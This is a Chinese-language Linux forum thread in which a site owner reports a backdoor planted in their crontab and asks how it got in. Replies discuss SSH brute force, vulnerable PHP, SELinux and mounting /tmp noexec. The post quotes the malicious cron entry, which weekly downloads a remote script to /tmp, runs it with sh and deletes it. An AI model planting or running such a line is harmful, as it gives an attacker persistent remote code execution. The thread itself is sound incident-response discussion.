被植入後門 - Linux

By Poppy
at 2014-10-01T11:18

Table of Contents

我的站台的crontab 被寫入

@weekly wget http://x/bots/regulat.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh > /dev/null 2&1

目前已知不影響主機，因為URL已經失效了。

PS.貼出來的URL已經處理過了，domain我改成x，以防被誤點。

但實在找不出他植入的方法，有人知道嗎？

--
小惡魔的家
http://blog.pixnet.net/shiuju/
--

--

Tags: Linux

All Comments

By Noah
at 2014-10-06T02:40

這個還要查看其他點會比較好知道是哪邊引起的
常見比方帳號密碼被猜中這種暴力 ssh 登入進來的

By Barb Cronin
at 2014-10-09T10:52

或者是跑的 php 程式碼有問題這類

By Elvira
at 2014-10-14T04:43

題外話若你是安裝 rh-based 的版本有開 selinux 的話

By James
at 2014-10-16T08:16

通常最後會因為 policy 設定不會允許 /tmp 內檔案執行

By Edith
at 2014-10-17T07:01

在 web server 環境上面的話比較能夠減少後續問題

By Xanthe
at 2014-10-17T14:39

sh /tmp/sh不就愛幹嘛幹嘛了嗎？他從regulat.bot抓下來

By Margaret
at 2014-10-18T01:48

/tmp 可以用 -o noexec 防止 sh /tmp/sh

By Jessica
at 2014-10-19T14:28

樓上那是shell的行為不是所有shell都會檢查的

By Suhail Hany
at 2014-10-23T04:13

noexec 比較適合於 binary 檔案，script 似乎就......

By Jacob
at 2014-10-27T21:34

嗯, 用 sh /tmp/xxx.sh 都不會被檔下

有辦法用虛擬機開啟雙系統嗎？

By Victoria
at 2014-10-01T00:24

如題，我電腦裝雙系統一邊windows 一邊Debian 我一般都是開Debian 我開windows基本上只會開vs 1.我有辦法在Debian用虛擬機開啟windows那邊嗎? 2.如果沒辦法的話我有沒有比較無痛的方式把那轉成虛擬機? 我現在想到的就是把那邊直接清空安裝到虛擬機... 以 ...

root VG 加入iscsi PV reboot 失敗

By Aaliyah
at 2014-09-30T21:45

各位版友新手小妹我遇到一個問題由於我server root空間不夠用，而我有使用LVM 然後我server便用iscsi連了nas，讓我server多一個磁碟可以用然後我再把這磁碟建立PV，再把它加入root 的VG裡然後再resize root LV的大小，完成，一切運作順利，root的確變 ...

如何得知所有LIBRARY的連結

By Necoo
at 2014-09-30T16:28

使用GCC寫C時，需要用math.h 所以編譯時GCC指令需要加入 -lm，才能夠連結到math.h 突然想到如何得知所有library的連結方式和位置這樣可以先尋找出library，並加以連結謝謝 - ...

gmail判為spam- 421-4.7.0 rate limited

By Victoria
at 2014-09-30T13:24

各位先進小弟公司最近發現一些寄到gmail.com或者是透過google代管的server 被判為spam bulk sender./var/log/maillog內容如下 ################################### relay=ALT2.ASPMX.L.GOOGLE.COM[1 ...

Line Client

By David
at 2014-09-30T02:34

這個週末想學習 Go，想說找個目標來寫於是就實作一個簡單的 Line https://github.com/CaryLorrk/goline/releases/tag/v0.1.2 雖然可以用 Wine，也有人寫了 Pidgin 的 Plugin 不過想說反正寫都寫了，就放出來給大家看看吧功能非 ...

被植入後門 - Linux

All Comments

Related Posts